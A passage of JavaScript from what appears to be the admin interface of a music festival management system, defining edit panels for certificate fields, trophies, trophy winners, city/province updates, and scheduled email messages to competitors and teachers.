p.show(cb);\n });\n }\n this.certfield.save = function(cb) {\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.certfield.close();'; }\n if( !this.checkForm() ) { return false; }\n if( this.field_id > 0 ) {\n var c = this.serializeForm('no');\n if( c != '' ) {\n M.api.postJSONCb('ciniki.musicfestivals.certfieldUpdate', {'tnid':M.curTenantID, 'field_id':this.field_id}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n eval(cb);\n });\n } else {\n eval(cb);\n }\n } else {\n var c = this.serializeForm('yes');\n M.api.postJSONCb('ciniki.musicfestivals.certfieldAdd', {'tnid':M.curTenantID, 'certificate_id':this.certificate_id}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.certfield.field_id = rsp.id;\n eval(cb);\n });\n }\n }\n this.certfield.remove = function() {\n M.confirm('Are you sure you want to remove certfield?', null, function(rsp) {\n M.api.getJSONCb('ciniki.musicfestivals.certfieldDelete', {'tnid':M.curTenantID, 'field_id':M.ciniki_musicfestivals_main.certfield.field_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.certfield.close();\n });\n });\n }\n this.certfield.nextButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.field_id) < (this.nplist.length - 1) ) {\n return 'M.ciniki_musicfestivals_main.certfield.save(\\'M.ciniki_musicfestivals_main.certfield.open(null,' + this.nplist[this.nplist.indexOf('' + this.field_id) + 1] + ');\\');';\n }\n return null;\n }\n this.certfield.prevButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.field_id) > 0 ) {\n return 'M.ciniki_musicfestivals_main.certfield.save(\\'M.ciniki_musicfestivals_main.certfield.open(null,' + this.nplist[this.nplist.indexOf('' + this.field_id) - 1] + ');\\');';\n }\n return null;\n }\n this.certfield.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.certfield.save();');\n this.certfield.addClose('Cancel');\n this.certfield.addButton('next', 'Next');\n this.certfield.addLeftButton('prev', 'Prev');\n\n //\n // The panel to edit Trophy\n //\n this.trophy = new M.panel('Trophy', 'ciniki_musicfestivals_main', 'trophy', 'mc', 'medium mediumaside', 'sectioned', 'ciniki.musicfestivals.main.trophy');\n this.trophy.data = null;\n this.trophy.trophy_id = 0;\n this.trophy.nplist = [];\n this.trophy.sections = {\n '_primary_image_id':{'label':'Image', 'type':'imageform', 'aside':'yes', 'fields':{\n 'primary_image_id':{'label':'', 'type':'image_id', 'hidelabel':'yes', 'controls':'all', 'history':'no',\n 'addDropImage':function(iid) {\n M.ciniki_musicfestivals_main.trophy.setFieldValue('primary_image_id', iid);\n return true;\n },\n 'addDropImageRefresh':'',\n },\n }},\n 'general':{'label':'', 'aside':'yes', 'fields':{\n 'name':{'label':'Name', 'required':'yes', 'type':'text'},\n 'category':{'label':'Category', 'type':'text'},\n 'donated_by':{'label':'Donated By', 'type':'text'},\n 'first_presented':{'label':'First Presented', 'type':'text'},\n 'criteria':{'label':'Criteria', 'type':'text'},\n }},\n '_description':{'label':'Description', 'fields':{\n 'description':{'label':'', 'hidelabel':'yes', 'type':'textarea', 'size':'large'},\n }},\n 'winners':{'label':'Winners', 'type':'simplegrid', 'num_cols':2, \n 'addTxt':'Add Winner',\n 'addFn':'M.ciniki_musicfestivals_main.trophy.save(\"M.ciniki_musicfestivals_main.trophywinner.open(\\'M.ciniki_musicfestivals_main.trophy.open();\\',0,M.ciniki_musicfestivals_main.trophy.trophy_id);\");',\n },\n '_buttons':{'label':'', 'buttons':{\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.trophy.save();'},\n 'delete':{'label':'Delete', \n 'visible':function() {return M.ciniki_musicfestivals_main.trophy.trophy_id > 0 ? 'yes' : 'no'; },\n 'fn':'M.ciniki_musicfestivals_main.trophy.remove();'},\n }},\n };\n this.trophy.fieldValue = function(s, i, d) { return this.data[i]; }\n this.trophy.fieldHistoryArgs = function(s, i) {\n return {'method':'ciniki.musicfestivals.trophyHistory', 'args':{'tnid':M.curTenantID, 'trophy_id':this.trophy_id, 'field':i}};\n }\n this.trophy.cellValue = function(s, i, j, d) {\n if( s == 'winners' ) {\n switch(j) {\n case 0: return d.year;\n case 1: return d.name;\n }\n }\n }\n this.trophy.rowFn = function(s, i, d) {\n if( s == 'winners' ) {\n return 'M.ciniki_musicfestivals_main.trophy.save(\"M.ciniki_musicfestivals_main.trophywinner.open(\\'M.ciniki_musicfestivals_main.trophy.open();\\',' + d.id + ',M.ciniki_musicfestivals_main.trophy.trophy_id);\");';\n }\n }\n this.trophy.open = function(cb, tid, list) {\n if( tid != null ) { this.trophy_id = tid; }\n if( list != null ) { this.nplist = list; }\n M.api.getJSONCb('ciniki.musicfestivals.trophyGet', {'tnid':M.curTenantID, 'trophy_id':this.trophy_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n var p = M.ciniki_musicfestivals_main.trophy;\n p.data = rsp.trophy;\n p.refresh();\n p.show(cb);\n });\n }\n this.trophy.save = function(cb) {\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.trophy.close();'; }\n if( !this.checkForm() ) { return false; }\n if( this.trophy_id > 0 ) {\n var c = this.serializeForm('no');\n if( c != '' ) {\n M.api.postJSONCb('ciniki.musicfestivals.trophyUpdate', {'tnid':M.curTenantID, 'trophy_id':this.trophy_id}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n eval(cb);\n });\n } else {\n eval(cb);\n }\n } else {\n var c = this.serializeForm('yes');\n M.api.postJSONCb('ciniki.musicfestivals.trophyAdd', {'tnid':M.curTenantID}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.trophy.trophy_id = rsp.id;\n eval(cb);\n });\n }\n }\n this.trophy.remove = function() {\n M.confirm('Are you sure you want to remove trophy?', null, function(rsp) {\n M.api.getJSONCb('ciniki.musicfestivals.trophyDelete', {'tnid':M.curTenantID, 'trophy_id':M.ciniki_musicfestivals_main.trophy.trophy_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.trophy.close();\n });\n });\n }\n this.trophy.nextButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.trophy_id) < (this.nplist.length - 1) ) {\n return 'M.ciniki_musicfestivals_main.trophy.save(\\'M.ciniki_musicfestivals_main.trophy.open(null,' + this.nplist[this.nplist.indexOf('' + this.trophy_id) + 1] + ');\\');';\n }\n return null;\n }\n this.trophy.prevButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.trophy_id) > 0 ) {\n return 'M.ciniki_musicfestivals_main.trophy.save(\\'M.ciniki_musicfestivals_main.trophy.open(null,' + this.nplist[this.nplist.indexOf('' + this.trophy_id) - 1] + ');\\');';\n }\n return null;\n }\n this.trophy.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.trophy.save();');\n this.trophy.addClose('Cancel');\n this.trophy.addButton('next', 'Next');\n this.trophy.addLeftButton('prev', 'Prev');\n\n //\n // The panel to edit Trophy Winner\n //\n this.trophywinner = new M.panel('Trophy Winner', 'ciniki_musicfestivals_main', 'trophywinner', 'mc', 'medium', 'sectioned', 'ciniki.musicfestivals.main.trophywinner');\n this.trophywinner.data = null;\n this.trophywinner.trophy_id = 0;\n this.trophywinner.winner_id = 0;\n this.trophywinner.nplist = [];\n this.trophywinner.sections = {\n 'general':{'label':'', 'fields':{\n 'name':{'label':'Name', 'required':'yes', 'type':'text'},\n 'year':{'label':'Year', 'type':'text'},\n }},\n '_buttons':{'label':'', 'buttons':{\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.trophywinner.save();'},\n 'delete':{'label':'Delete', \n 'visible':function() {return M.ciniki_musicfestivals_main.trophywinner.winner_id > 0 ? 'yes' : 'no'; },\n 'fn':'M.ciniki_musicfestivals_main.trophywinner.remove();'},\n }},\n };\n this.trophywinner.fieldValue = function(s, i, d) { return this.data[i]; }\n this.trophywinner.fieldHistoryArgs = function(s, i) {\n return {'method':'ciniki.musicfestivals.trophyWinnerHistory', 'args':{'tnid':M.curTenantID, 'winner_id':this.winner_id, 'field':i}};\n }\n this.trophywinner.open = function(cb, wid, tid, list) {\n if( wid != null ) { this.winner_id = wid; }\n if( tid != null ) { this.trophy_id = tid; }\n if( list != null ) { this.nplist = list; }\n M.api.getJSONCb('ciniki.musicfestivals.trophyWinnerGet', {'tnid':M.curTenantID, 'winner_id':this.winner_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n var p = M.ciniki_musicfestivals_main.trophywinner;\n p.data = rsp.winner;\n p.refresh();\n p.show(cb);\n });\n }\n this.trophywinner.save = function(cb) {\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.trophywinner.close();'; }\n if( !this.checkForm() ) { return false; }\n if( this.winner_id > 0 ) {\n var c = this.serializeForm('no');\n if( c != '' ) {\n M.api.postJSONCb('ciniki.musicfestivals.trophyWinnerUpdate', {'tnid':M.curTenantID, 'winner_id':this.winner_id}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n eval(cb);\n });\n } else {\n eval(cb);\n }\n } else {\n var c = this.serializeForm('yes');\n M.api.postJSONCb('ciniki.musicfestivals.trophyWinnerAdd', {'tnid':M.curTenantID, 'trophy_id':this.trophy_id}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.trophywinner.winner_id = rsp.id;\n eval(cb);\n });\n }\n }\n this.trophywinner.remove = function() {\n M.confirm('Are you sure you want to remove trophywinner?', null, function(rsp) {\n M.api.getJSONCb('ciniki.musicfestivals.trophyWinnerDelete', {'tnid':M.curTenantID, 'winner_id':M.ciniki_musicfestivals_main.trophywinner.winner_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.trophywinner.close();\n });\n });\n }\n this.trophywinner.nextButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.winner_id) < (this.nplist.length - 1) ) {\n return 'M.ciniki_musicfestivals_main.trophywinner.save(\\'M.ciniki_musicfestivals_main.trophywinner.open(null,' + this.nplist[this.nplist.indexOf('' + this.winner_id) + 1] + ');\\');';\n }\n return null;\n }\n this.trophywinner.prevButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.winner_id) > 0 ) {\n return 'M.ciniki_musicfestivals_main.trophywinner.save(\\'M.ciniki_musicfestivals_main.trophywinner.open(null,' + this.nplist[this.nplist.indexOf('' + this.winner_id) - 1] + ');\\');';\n }\n return null;\n }\n this.trophywinner.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.trophywinner.save();');\n this.trophywinner.addClose('Cancel');\n this.trophywinner.addButton('next', 'Next');\n this.trophywinner.addLeftButton('prev', 'Prev');\n\n \n //\n // This panel will allow mass updates to City and Province\n //\n this.editcityprov = new M.panel('Update', 'ciniki_musicfestivals_main', 'editcityprov', 'mc', 'medium', 'sectioned', 'ciniki.musicfestivals.main.editcityprov');\n this.editcityprov.data = null;\n this.editcityprov.city = '';\n this.editcityprov.province = '';\n this.editcityprov.sections = {\n 'general':{'label':'', 'fields':{\n 'city':{'label':'City', 'type':'text', 'visible':'yes'},\n 'province':{'label':'Province', 'type':'text'},\n }},\n '_buttons':{'label':'', 'buttons':{\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.editcityprov.save();'},\n }},\n };\n this.editcityprov.open = function(cb, c, p) {\n if( c != null ) {\n this.city = unescape(c);\n this.sections.general.fields.city.visible = 'yes';\n } else {\n this.sections.general.fields.city.visible = 'no';\n }\n this.province = unescape(p);\n this.data = {\n 'city':unescape(c),\n 'province':unescape(p),\n };\n this.refresh();\n this.show(cb);\n }\n this.editcityprov.save = function() {\n var args = {\n 'tnid':M.curTenantID, \n 'festival_id':M.ciniki_musicfestivals_main.festival.festival_id,\n };\n if( this.sections.general.fields.city.visible == 'yes' ) {\n args['old_city'] = M.eU(this.city);\n args['new_city'] = M.eU(this.formValue('city'));\n }\n args['old_province'] = M.eU(this.province);\n args['new_province'] = M.eU(this.formValue('province'));\n M.api.getJSONCb('ciniki.musicfestivals.competitorCityProvUpdate', args, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.editcityprov.close();\n });\n }\n this.editcityprov.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.editcityprov.save();');\n this.editcityprov.addClose('Cancel');\n\n //\n // Create and send a email message to a selection of competitors/teachers with\n // filtering for section, timeslot sections, etc\n //\n this.message = new M.panel('Message',\n 'ciniki_musicfestivals_main', 'message',\n 'mc', 'xlarge mediumaside', 'sectioned', 'ciniki.musicfestivals.main.message');\n this.message.data = {};\n this.message.festival_id = 0;\n this.message.message_id = 0;\n this.message.upload = null;\n this.message.nplist = [];\n this.message.sections = {\n 'details':{'label':'Details', 'type':'simplegrid', 'num_cols':2, 'aside':'yes',\n 'cellClasses':['label mediumlabel', ''],\n // Status\n // # competitors\n // # teachers\n // 'dt_sent':{'label':'Year', 'type':'text'},\n },\n 'objects':{'label':'Recipients', 'type':'simplegrid', 'num_cols':2, 'aside':'yes',\n 'cellClasses':['label', ''],\n 'addTxt':'Add/Remove Recipient(s)',\n //'addFn':'M.ciniki_musicfestivals_main.messagerefs.open(\\'M.ciniki_musicfestivals_main.message.open();\\',M.ciniki_musicfestivals_main.message.message_id);',\n 'addFn':'M.ciniki_musicfestivals_main.message.save(\"M.ciniki_musicfestivals_main.message.openrefs();\");',\n },\n '_subject':{'label':'Subject', 'fields':{\n 'subject':{'label':'Subject', 'hidelabel':'yes', 'type':'text'},\n }},\n '_content':{'label':'Message', 'fields':{\n 'content':{'label':'', 'hidelabel':'yes', 'type':'textarea', 'size':'large'},\n }},\n/* '_file':{'label':'Attach Files', \n 'fields':{\n 'attachment1':{'label':'File 1', 'type':'file', 'hidelabel':'no'},\n 'attachment2':{'label':'File 2', 'type':'file', 'hidelabel':'no'},\n 'attachment3':{'label':'File 3', 'type':'file', 'hidelabel':'no'},\n 'attachment4':{'label':'File 4', 'type':'file', 'hidelabel':'no'},\n 'attachment5':{'label':'File 5', 'type':'file', 'hidelabel':'no'},\n }}, */\n 'files':{'label':'Attachments', 'type':'simplegrid', 'num_cols':2,\n 'cellClasses':['', 'alignright fabuttons'],\n 'noData':'No attachments',\n 'addTxt':'Attach File',\n 'addTopFn':'M.ciniki_musicfestivals_main.message.save(\"M.ciniki_musicfestivals_main.message.fileAdd();\");',\n },\n '_buttons':{'label':'', 'buttons':{\n 'save':{'label':'Save', \n 'visible':function() {return M.ciniki_musicfestivals_main.message.data.status == 10 ? 'yes' : 'no'; },\n 'fn':'M.ciniki_musicfestivals_main.message.save();',\n },\n 'back':{'label':'Back', \n 'visible':function() {return M.ciniki_musicfestivals_main.message.data.status > 10 ? 'yes' : 'no'; },\n 'fn':'M.ciniki_musicfestivals_main.message.close();',\n },\n 'sendtest':{'label':'Send Test Message', \n 'visible':function() {return M.ciniki_musicfestivals_main.message.data.send == 'yes' ? 'yes' : 'no'; },\n 'fn':'M.ciniki_musicfestivals_main.message.save(\"M.ciniki_musicfestivals_main.message.sendTest();\");',\n },\n 'schedule':{'label':'Schedule', \n 'visible':function() {return M.ciniki_musicfestivals_main.message.data.send == 'yes' ? 'yes' : 'no'; },\n 'fn':'M.ciniki_musicfestivals_main.message.schedule();',\n },\n 'unschedule':{'label':'Unschedule', \n 'visible':function() {return M.ciniki_musicfestivals_main.message.data.status == 30 ? 'yes' : 'no'; },\n 'fn':'M.ciniki_musicfestivals_main.message.unschedule();',\n },\n 'sendnow':{'label':'Send Now', \n 'visible':function() {return M.ciniki_musicfestivals_main.message.data.send == 'yes' ? 'yes' : 'no'; },\n 'fn':'M.ciniki_musicfestivals_main.message.save(\"M.ciniki_musicfestivals_main.message.sendNow();\");'},\n 'delete':{'label':'Delete', \n 'visible':function() {return M.ciniki_musicfestivals_main.message.message_id > 0 && M.ciniki_musicfestivals_main.message.data.status == 10 ? 'yes' : 'no'; },\n 'fn':'M.ciniki_musicfestivals_main.message.remove();',\n },\n }},\n };\n// this.message.fieldValue = function(s, i, d) {\n// return this.data[i];\n// }\n this.message.cellValue = function(s, i, j, d) {\n if( s == 'details' ) {\n switch(j) {\n case 0: return d.label;\n case 1: return d.value;\n }\n }\n if( s == 'objects' ) {\n switch(j) {\n case 0: return d.type;\n case 1: return d.label;\n }\n }\n if( s == 'files' ) {\n switch(j) {\n case 0: return d.filename;\n }\n if( this.data.status == 10 && j == 1 ) {\n return M.faBtn('&#xf019;', 'Download', 'M.ciniki_musicfestivals_main.message.fileDownload(\\'' + escape(d.filename) + '\\');')\n + M.faBtn('&#xf014;', 'Delete', 'M.ciniki_musicfestivals_main.message.fileDelete(\\'' + escape(d.filename) + '\\');');\n }\n if( this.data.status > 10 && j == 1 ) {\n return M.faBtn('&#xf019;', 'Download', 'M.ciniki_musicfestivals_main.message.fileDownload(\\'' + escape(d.filename) + '\\');');\n }\n return '';\n }\n }\n// this.message.cellFn = function(s, i, j, d) {\n// if( s == 'objects' ) {\n// }\n// return '';\n// }\n // Add a new message with object and object_id\n this.message.addnew = function(cb, fid, o, oid) {\n var args = {'tnid':M.curTenantID, 'festival_id':fid};\n args['subject'] = '';\n args['object'] = o;\n args['object_id'] = oid;\n M.api.getJSONCb('ciniki.musicfestivals.messageAdd', args, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.message.open(cb, rsp.id);\n });\n }\n this.message.openrefs = function() {\n M.ciniki_musicfestivals_main.messagerefs.open('M.ciniki_musicfestivals_main.message.open();', M.ciniki_musicfestivals_main.message.message_id);\n }\n this.message.fileAdd = function() {\n if( this.upload == null ) {\n this.upload = M.aE('input', this.panelUID + '_file_upload', 'image_uploader');\n this.upload.setAttribute('name', 'filename');\n this.upload.setAttribute('type', 'file');\n this.upload.setAttribute('onchange', this.panelRef + '.uploadFile();');\n }\n this.upload.value = '';\n this.upload.click();\n }\n this.message.uploadFile = function() {\n var f = this.upload;\n M.api.postJSONFile('ciniki.musicfestivals.messageFileAdd', {'tnid':M.curTenantID, 'message_id':this.message_id}, f.files[0],\n function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n var p = M.ciniki_musicfestivals_main.message;\n p.data.files = rsp.files;\n p.refreshSection('files');\n });\n }\n this.message.fileDelete = function(f) {\n M.api.getJSONCb('ciniki.musicfestivals.messageFileDelete', {'tnid':M.curTenantID, 'message_id':this.message_id, 'filename':f}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n var p = M.ciniki_musicfestivals_main.message;\n p.data.files = rsp.files;\n p.refreshSection('files');\n });\n }\n this.message.fileDownload = function(f) {\n M.api.openFile('ciniki.musicfestivals.messageFileDownload', {'tnid':M.curTenantID, 'message_id':this.message_id, 'filename':f});\n }\n this.message.open = function(cb, mid, fid, list) {\n if( mid != null ) { this.message_id = mid; }\n if( fid != null ) { this.festival_id = fid; }\n if( list != null ) { this.nplist = list; }\n M.api.getJSONCb('ciniki.musicfestivals.messageGet', {'tnid':M.curTenantID, 'message_id':this.message_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n var p = M.ciniki_musicfestivals_main.message;\n p.data = rsp.message;\n if( rsp.message.status == 10 ) {\n p.sections.objects.addTxt = \"Add/Remove Recipients\";\n } else {\n p.sections.objects.addTxt = \"View Recipients\";\n }\n if( rsp.message.status == 10 ) {\n p.addClose('Cancel');\n p.sections._subject.fields.subject.editable = 'yes';\n p.sections._content.fields.content.editable = 'yes';\n } else {\n p.addClose('Back');\n p.sections._subject.fields.subject.editable = 'no';\n p.sections._content.fields.content.editable = 'no';\n }\n p.refresh();\n p.show(cb);\n });\n }\n this.message.save = function(cb) {\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.message.close();'; }\n if( !this.checkForm() ) { return false; }\n if( this.message_id > 0 ) {\n var c = this.serializeForm('no');\n if( c != '' ) {\n M.api.postJSONCb('ciniki.musicfestivals.messageUpdate', {'tnid':M.curTenantID, 'message_id':this.message_id}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n eval(cb);\n });\n } else {\n eval(cb);\n }\n } else {\n var c = this.serializeForm('yes');\n M.api.postJSONCb('ciniki.musicfestivals.messageAdd', {'tnid':M.curTenantID, 'festival_id':this.festival_id, 'status':10}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.message.message_id = rsp.id;\n eval(cb);\n });\n }\n }\n this.message.sendTest = function() {\n M.api.getJSONCb('ciniki.musicfestivals.messageSend', {'tnid':M.curTenantID, 'message_id':this.message_id, 'send':'test'}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.alert(rsp.msg);\n M.ciniki_musicfestivals_main.message.open();\n });\n }\n this.message.sendNow = function() {\n var msg = '' + (this.data.num_teachers == 0 ? 'No' : this.data.num_teachers) + ' teacher' + (this.data.num_teachers != 1 ? 's' :'')\n + ' and ' + (this.data.num_competitors == 0 ? 'no' : this.data.num_competitors) + ' competitor' + (this.data.num_competitors != 1 ? 's' : '') \n + ' will receive this email.

    ';\n M.confirm(msg + ' Is this email correct and ready to send?', null, function() {\n M.api.getJSONCb('ciniki.musicfestivals.messageSend', {'tnid':M.curTenantID, 'message_id':M.ciniki_musicfestivals_main.message.message_id, 'send':'all'}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.alert(rsp.msg);\n M.ciniki_musicfestivals_main.message.open();\n });\n });\n }\n this.message.schedule = function() {\n var msg = '' + (this.data.num_teachers == 0 ? 'No' : this.data.num_teachers) + ' teacher' + (this.data.num_teachers != 1 ? 's' :'')\n + ' and ' + (this.data.num_competitors == 0 ? 'no' : this.data.num_competitors) + ' competitor' + (this.data.num_competitors != 1 ? 's' : '') \n + ' will receive this email.

    ';\n M.confirm(msg + 'Are you sure the email is correct and ready to be sent?', null, function() {\n M.ciniki_musicfestivals_main.messageschedule.open();\n });\n }\n this.message.schedulenow = function() {\n var sd = M.ciniki_musicfestivals_main.messageschedule.formValue('dt_scheduled');\n if( sd != this.data.dt_scheduled ) {\n M.api.getJSONCb('ciniki.musicfestivals.messageUpdate', {'tnid':M.curTenantID, 'message_id':this.message_id, 'dt_scheduled':sd, 'status':30}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.message.close();\n });\n } else {\n this.close();\n }\n }\n this.message.unschedule = function() {\n M.api.getJSONCb('ciniki.musicfestivals.messageUpdate', {'tnid':M.curTenantID, 'message_id':this.message_id, 'status':10}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.message.open();\n });\n }\n this.message.remove = function() {\n M.confirm('Are you sure you want to remove message?', null, function() {\n M.api.getJSONCb('ciniki.musicfestivals.messageDelete', {'tnid':M.curTenantID, 'message_id':M.ciniki_musicfestivals_main.message.message_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.message.close();\n });\n });\n }\n this.message.nextButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.message_id) < (this.nplist.length - 1) ) {\n return 'M.ciniki_musicfestivals_main.message.save(\\'M.ciniki_musicfestivals_main.message.open(null,' + this.nplist[this.nplist.indexOf('' + this.message_id) + 1] + ');\\');';\n }\n return null;\n }\n this.message.prevButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.message_id) > 0 ) {\n return 'M.ciniki_musicfestivals_main.message.save(\\'M.ciniki_musicfestivals_main.message.open(null,' + this.nplist[this.nplist.indexOf('' + this.message_id) - 1] + ');\\');';\n }\n return null;\n }\n this.message.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.message.save();');\n this.message.addButton('next', 'Next');\n this.message.addLeftButton('prev', 'Prev');\n this.message.helpSections = function() {\n return {\n 'help':{'label':'Substitutions', 'type':'htmlcontent',\n 'html':'The following substitutions are available in the Message:

    '\n + '{_first_} = Teacher/Individual first name, Group/Ensemble full name
    '\n + '{_name_} = Teacher/Individual/Group full name
    '\n },\n };\n }\n\n //\n // This panel will let the user select a date and time to send the scheduled message\n //\n this.messageschedule = new M.panel('Schedule Message',\n 'ciniki_musicfestivals_main', 'messageschedule',\n 'mc', 'medium', 'sectioned', 'ciniki.musicfestivals.main.messageschedule');\n this.messageschedule.data = {};\n this.messageschedule.sections = {\n 'general':{'label':'Schedule Date and Time', 'fields':{\n 'dt_scheduled':{'label':'', 'hidelabel':'yes', 'type':'datetime'},\n }},\n '_buttons':{'label':'', 'buttons':{\n 'send':{'label':'Schedule', \n 'fn':'M.ciniki_musicfestivals_main.message.schedulenow();',\n },\n 'delete':{'label':'Cancel',\n 'fn':'M.ciniki_musicfestivals_main.message.open();',\n },\n }},\n };\n this.messageschedule.open = function() {\n if( M.ciniki_musicfestivals_main.message.data.dt_scheduled != '0000-00-00 00:00:00' ) {\n this.data = {\n 'dt_scheduled':M.ciniki_musicfestivals_main.message.data.dt_scheduled_text,\n };\n } else {\n this.data.dt_scheduled = '';\n }\n this.refresh();\n this.show();\n }\n\n\n //\n // This panel shows the available objects that can be used to send a message to.\n //\n this.messagerefs = new M.panel('Message Recipients',\n 'ciniki_musicfestivals_main', 'messagerefs',\n 'mc', 'xlarge mediumaside', 'sectioned', 'ciniki.musicfestivals.main.messagerefs');\n this.messagerefs.data = {};\n this.messagerefs.festival_id = 0;\n this.messagerefs.message_id = 0;\n this.messagerefs.section_id = 0;\n this.messagerefs.category_id = 0;\n this.messagerefs.schedule_id = 0;\n this.messagerefs.division_id = 0;\n this.messagerefs.nplist = [];\n this.messagerefs.sections = {\n 'details':{'label':'Details', 'type':'simplegrid', 'num_cols':2, 'aside':'yes',\n 'cellClasses':['label mediumlabel', ''],\n // Status\n // # competitors\n // # teachers\n // 'dt_sent':{'label':'Year', 'type':'text'},\n },\n 'excluded':{'label':'', 'aside':'yes', 'fields':{\n 'flags1':{'label':'Include', 'type':'flagspiece', 'default':'off', 'mask':0x03,\n 'field':'flags', 'toggle':'yes', 'join':'yes',\n\n 'flags':{'0':{'name':'Everybody'},'2':{'name':'Only Competitors'}, '1':{'name':'Only Teachers'}},\n 'onchange':'M.ciniki_musicfestivals_main.messagerefs.updateFlags',\n },\n }},\n/* '_excluded':{'label':'', 'aside':'yes', 'fields':{\n 'flags1':{'label':'Exclude Competitors', 'type':'flagtoggle', 'default':'off', 'bit':0x01,\n 'field':'flags',\n 'onchange':'M.ciniki_musicfestivals_main.messagerefs.updateFlags',\n },\n 'flags2':{'label':'Exclude Teachers', 'type':'flagtoggle', 'default':'off', 'bit':0x02,\n 'field':'flags',\n 'onchange':'M.ciniki_musicfestivals_main.messagerefs.updateFlags',\n },\n }}, */\n 'objects':{'label':'Recipients', 'type':'simplegrid', 'num_cols':3, 'aside':'yes',\n 'cellClasses':['label mediumlabel', '', 'alignright'],\n 'noData':'No Recipients',\n// 'addTxt':'Add Recipient(s)',\n// 'addFn':'M.ciniki_musicfestivals_main.message.addobjects();',\n },\n '_extract':{'label':'', 'aside':'yes', 'buttons':{\n 'extract':{'label':'Extract Recipients', 'fn':'M.ciniki_musicfestivals_main.messagerefs.extractRecipients();'},\n }},\n '_tabs':{'label':'', 'type':'paneltabs', 'selected':'sections', 'tabs':{\n 'sections':{'label':'Syllabus', 'fn':'M.ciniki_musicfestivals_main.messagerefs.switchTab(\"sections\");'},\n 'categories':{'label':'Categories', \n 'visible':function() { return M.ciniki_musicfestivals_main.messagerefs.section_id > 0 ? 'yes' : 'no'; },\n 'fn':'M.ciniki_musicfestivals_main.messagerefs.switchTab(\"categories\");',\n },\n 'classes':{'label':'Classes', \n 'visible':function() { return M.ciniki_musicfestivals_main.messagerefs.category_id > 0 ? 'yes' : 'no'; },\n 'fn':'M.ciniki_musicfestivals_main.messagerefs.switchTab(\"classes\");',\n },\n 'schedule':{'label':'Schedule', 'fn':'M.ciniki_musicfestivals_main.messagerefs.switchTab(\"schedule\");'},\n 'divisions':{'label':'Divisions', \n 'visible':function() { return M.ciniki_musicfestivals_main.messagerefs.schedule_id > 0 ? 'yes' : 'no'; },\n 'fn':'M.ciniki_musicfestivals_main.messagerefs.switchTab(\"divisions\");',\n },\n 'timeslots':{'label':'Timeslots', \n 'visible':function() { return M.ciniki_musicfestivals_main.messagerefs.division_id > 0 ? 'yes' : 'no'; },\n 'fn':'M.ciniki_musicfestivals_main.messagerefs.switchTab(\"timeslots\");',\n },\n 'tags':{'label':'Registration Tags', \n 'visible':function() { return M.modFlagSet('ciniki.musicfestivals', 0x2000); },\n 'fn':'M.ciniki_musicfestivals_main.messagerefs.switchTab(\"tags\");',\n },\n 'teachers':{'label':'Teachers', 'fn':'M.ciniki_musicfestivals_main.messagerefs.switchTab(\"teachers\");'},\n 'competitors':{'label':'Competitors', 'fn':'M.ciniki_musicfestivals_main.messagerefs.switchTab(\"competitors\");'},\n 